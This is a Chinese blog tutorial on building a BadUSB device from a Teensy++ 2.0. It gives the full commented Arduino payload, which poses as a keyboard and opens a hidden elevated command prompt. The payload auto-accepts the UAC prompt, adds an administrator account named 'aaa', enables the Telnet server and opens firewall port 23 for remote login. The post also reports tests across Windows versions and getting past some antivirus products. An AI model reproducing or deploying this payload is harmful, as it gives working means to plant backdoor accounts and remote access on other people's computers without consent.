badusb_payload(一)添加管理员用户

- 0x01前言

制作badusb的工具中,arduino用于将代码烧录到teensy++2.0上,其实这里我们用到的不是arduino,而是Arduino IDE, 真正的arduino是一块板子。。Teensyduino是arduino的一款插件,用于将代码烧录到Teensy++2.0上。Kautilya是12年黑客大会上公布的一款生成payload的工具,不晓得除了用在badusb上还能用在哪。若知道可以分享一下。

- 0x02制作流程

首先启动Kautilya, 选择1.Payloads for Windows.

这里写图片描述

然后选择5.Manage 再选择5,生成一个添加管理员用户和开启telent服务的payload

这里写图片描述

然后输入用户名和密码,它会在kautilya文件下生成payload文件。 然后启动teensyduino,
按照上篇文章写的配置好,最后启动arduino, 在tools中选择好teensy++2.0,
并选择usb类型是keyboard+mouse+joystick, 即把teensy++2.0伪装成键盘鼠标。

这里写图片描述

把payload直接拖进来即可,插上teensy++2.0,点击左上角的√,会生成一个小页面,写着让你按下teensy++2.0上面的reboot(重启)。按下后即完成烧录。成功后会显示 Reboot OK。

这里写图片描述

badusb已经制作完成,插入windows的电脑中即可添加管理员用户。

这里写图片描述

查看win7开启的服务,telnet服务已开启

这里写图片描述

使用kali进行telnet登录

这里写图片描述

成功!!

经测试,在win7上完美运行,可以远程telnet登录。win8,win10如果默认使用中文版的话,语言默认是中文,需要在payload中加入两段代码改变语言(详情看下面的payload中)。而且,win8默认telnet服务端和客户端功能没有添加, 需要在控制面板中添加功能后才行。

这里写图片描述

测试通过, 可以telnet登录win8。

win10则取消telnet服务端这一功能, 即只能作为telnet客户端,不能作为服务端。故无法telnet登录win10。

这里写图片描述

win_xp在启动cmd时,除了按下 win 键外,还要按下 R 键, 代码中有强调。而且发送完 R 键后, 必须清理缓存,否则出现

这里写图片描述

总的来说,payload非常不错,特别是绕过UAC检查,使用管理员身份启动cmd。直接输入cmd启动的是当前用户权限的cmd

这里写图片描述

代码中强制启动管理员cmd并绕过

这里写图片描述
这里写图片描述

个人觉得本身payload兼容性不是很好,没有注意中文和xp, 没办法,老外不会考虑中文。。。XP也老了。。。。。

win10 在使用

cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"

发生一些问题, 直接换做 cmd 就可以了

至于杀毒软件的问题,测试时绕过了 小红伞 和 AVG 一流杀毒软件,但却被360拦截下来。。。猜想添加用户并不是病毒行为,杀毒软件并没有把这种行为设置为黑名单,但360监控着系统,会弹出一个像 UAC 的确认页面,至于能不能像绕过 UAC 似的绕过360, 还没有测试。即使通过,则兼容性变得更差。。毕竟多按几个键会有影响。。至于其他 payload, 它们的行为会不会被检查还要做测试。

- 0x03payload代码分析
单单会使用是不够,我们还应该研究一些它的payload代码,百度并没有找到相关的教程。。大神么貌似不屑于传授。。只好自己慢慢分析。
首先, 烧录软件arduino ide使用的是一种全新的语言,跟c++java很类似,这种语言有专门的教程,但是这里的payload用到的仅仅是键盘,鼠标之类的很小一部分,个人觉得没有必要专门学习。
结构上,这种语言分为两部分

setup(){
    ...
    ...
}
loop(){
    ...
    ...
}

首先会执行setup()的代码,而loop()里的程序会不断循环执行。
下面是添加管理员用户和开启talent服务的payload,注释是我自己加的。

#define TEENSY2
#ifdef TEENSY2
    #include<usb_private.h>
#endif

//首先定义一些字符串,即添加用户的cmd命令。
# define PAYLOAD_USER_ADD "net user aaa aaa /add"
# define PAYLOAD_GROUP_ADD "net localgroup Administrators aaa /add"
# define PAYLOAD_TELNETGROUP_ADD "net localgroup TelnetClients aaa /add"

//主程序开始
void setup(){

//延迟3秒,刚插入usb口, 电脑有个识别的时间。
//后面代码中还有很多延迟的代码,主要是考虑到在实际使用时电脑可能在进行
//其他的操作,受用延迟保证代码的执行
//但是在测试中,因为只有badusb在使用,所以感觉延迟很大,这个具体可以
//视情况而定。
 delay(3000);

// 函数_判断capslock是否开启,并关闭capslock.
// 具体实现过程请看后面的函数代码。
  wait_for_drivers(2000);

// 最小化所有窗口
// 具体实现过程请看后面的函数代码。
  minimise_windows();
  delay(500);

// 调用函数cmd_admin() 
// 这个函数是主要内容,用于启动管理员的cmd,如果不成功,则一直循环执行
  while(!cmd_admin(3,500))
  {
// 该函数其实是三次调用minimise_windows(),即
// 最小化所有窗口。
// 具体实现过程请看后面的函数代码。
  reset_windows_desktop(2000);
  }


// 核心函数_添加管理员用户
// 具体实现过程请看后面的函数代码。
add_user();

//启动Telent服务 
Keyboard.println("pkgmgr /iu:\"TelnetServer\"");
delay(10000);
Keyboard.println("reg add \"HKLM\\System\\CurrentControlSet\\Services\\TlntSvr\" /v Start /t REG_DWORD /d 2 /f");
delay(2000);
Keyboard.println("sc config TlntSvr start= auto");
delay(2000);
Keyboard.println("sc start TlntSvr");
delay(2000);
Keyboard.println("netsh firewall set portopening protocol = tcp port = 23 mode = enable");
delay(3000);
Keyboard.println("exit");
}
// setup()函数结束, 鉴于loop()为空,整个PAYLOAD也执行完毕。

//重复执行的代码,这里为空
void loop(){
}

// 函数_添加用户
void add_user(){
delay(2000);
//这里模拟键盘输入都是用的 keyboard。
//这里将前面定义的三条字符串输入进去。
//即添加管理员。
Keyboard.println(PAYLOAD_USER_ADD);
delay(2000);
Keyboard.println(PAYLOAD_GROUP_ADD);
delay(1000);
Keyboard.println(PAYLOAD_TELNETGROUP_ADD);
delay(1000);
}

// 函数_判断capslock是否开启并关闭
void wait_for_drivers(int sleep)
{
//函数 is_cao_on()返回capslock状态
// 具体实现过程请看后面的函数代码。
bool CapsLockTrap = is_caps_on();
while(CapsLockTrap == is_caps_on())
{

//按下 capslock
//这里模拟键盘输入首先设定输入内容,send_key(), 存储在缓冲区中
//然后使用send_now()发送命令
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);

//释放
//每次send后都要释放掉存储在缓冲区的设定的内容。
//一对一释放,使用了 set_modifier 就要用 set_modifier(0)
//          使用了 set_key1 就要用 set_key1(0)
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

delay(500);
delay(sleep);
}

//按下 capslock
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);

//释放
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(sleep);
}

//两个小函数,通过键盘指示灯keyboard_leds判断capslock状态
//函数_键盘指示灯(caplocks) 是否开启capslock
int ledkeys(void) {return int(keyboard_leds);}

//函数_判断capslock是否开启
bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}


//主要函数_启动具有管理员权限的cmd
bool cmd_admin(int reps, int millisecs)
{
// 确保capslock关闭
make_sure_capslock_is_off();
delay(700);

//按下 Win 键, MODIFIERKEY_RIGHT_GUI是 win 键
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

/* 
    xp系统添加这一行代码,用于按下 R 键
*/
//Keyboard.set_key1(KEY_R);

Keyboard.send_now();

//释放
Keyboard.set_modifier(0);

/* 
    xp系统添加这一行代码,用于清空缓存,否则出现按下一堆 RRRRR....
*/
//Keyboard.set_key1(0);


Keyboard.send_now();
delay(3000);


/*
    默认是中文输入法添加三行代码(win8, win10)
*/
//Keyboard.set_modifier(MODIFIERKEY_SHIFT);
//Keyboard.send_now();
//delay(2000);



//最小化启动cmd
//这里启动的cmd窗口尽可能小,背景色也有调整,尽可能不让发现。
Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
delay(2000);

/***
   启动UAC检查,win vista之后默认开启UAC检查,虽然有些用户关闭了,但
   这样兼容性不够好,所以这里使用 ctrl+shift+enter 键启动UAC检查
   即即使关闭UAC,这里也会开启UAC检查,若没有关闭UAC,则正常进行UAC
   检查。保证良好的兼容性。
***/

//首先按下 Ctrl 键并发送 ,但不懂为什么按下 ctrl,
//去掉这条命令后正常运行
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();

//按下 Ctrl 和 Shift 和 Enter, 启动UAC检查。
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
Keyboard.send_now();

// 按下 Enter
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();

delay(200);

//释放
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

delay(500);
delay(7000);

// 弹出UAC检查后选择 是 ,并确认。
// 具体实现过程请看后面的函数代码。
send_left_enter();
delay(4000);

/*
    默认是中文输入法添加三行代码(win8, win10)
*/
//Keyboard.set_modifier(MODIFIERKEY_SHIFT);
//Keyboard.send_now();
//delay(2000);


//这里函数创建一个vbs脚本,用于关闭 capslock
create_click_capslock_win();
//判断capslock, 转换为小写
check_for_capslock_success_teensy(reps,millisecs);
//这个payload中,反反复复检查多次capslock,也使用了多种方法。。。
}


/*函数cmd()并没有调用,无法解释。。。。
    看里面内容和上一个函数cmd_admin()功能类似,但是并没有调用
    去掉整个函数后不影响正常使用
    但还是做了些注释
*/
bool cmd(int reps, int millisecs, char *SomeCommand)
{
make_sure_capslock_is_off();
delay(700);

// Win 和 R 并发送,启动cmd
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();

// 释放
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

Keyboard.print(SomeCommand);
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();

Keyboard.set_key1(0);
Keyboard.send_now();

delay(3000);

//函数_创建一个vbs脚本,用于关闭 capslock
create_click_capslock_win();
//判断capslock, 转换为小写
check_for_capslock_success_teensy(reps,millisecs);
}
// 不知有什么用的函数cmd()结束。





// 函数_capslock 判断大小写
void make_sure_capslock_is_off(void)
{
if (is_caps_on())
{
delay(500);

// 转化为小写并发送
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);
delay(700);
// 释放
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(700);
}
}


//创建一个vbs脚本,用于关闭 capslock
void create_click_capslock_win()
{
Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs");
delay(400);
Keyboard.println("wscript %temp%\\capslock.vbs");
delay(2000);
}

// 函数_用于检查capslock状态并关闭
bool check_for_capslock_success_teensy(int reps, int millisecs)
{
unsigned int i = 0;
do
{
delay(millisecs);
if (is_caps_on())
{
make_sure_capslock_is_off();
delay(700);
return true;
}
i++;
}
while (!is_caps_on() && (i<reps));
return false;
}


// 最小化所有窗口 win + M
void minimise_windows(void)
{
// 发送 win + M
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_M);
Keyboard.send_now();
delay(300);
//释放
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(300);
}

//三次调用最小化窗口函数
void reset_windows_desktop(int sleep)
{
delay(1000);
minimise_windows();
delay(sleep);
minimise_windows();
delay(sleep);
minimise_windows();
delay(200);
}

// 在弹出的UAC检查中选择 是 并确认
void send_left_enter(){
  delay(1000);

  // 选择 “是”
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();

// 按下确认
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }

- 0x04后记
整个payload思路很简单,操作也不难。改掉usb启动的标识符,让操作系统认为这是一个键盘和鼠标的usb设备,然后输入预先设定好的命令,插入usb即可执行命令。
因为测试时为了调试等原因,延迟开的比较大,实际应用要自行设定合适值。
至于默认中文输入法的问题,其实加上那两段代码并不影响默认是英文输入法,推荐还是加上,增强兼容性。 毕竟作者不会考虑中文问题,自然不会在代码里有所判断。xp的 r 键, 只有xp才会需要, 要看实际情况了。

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值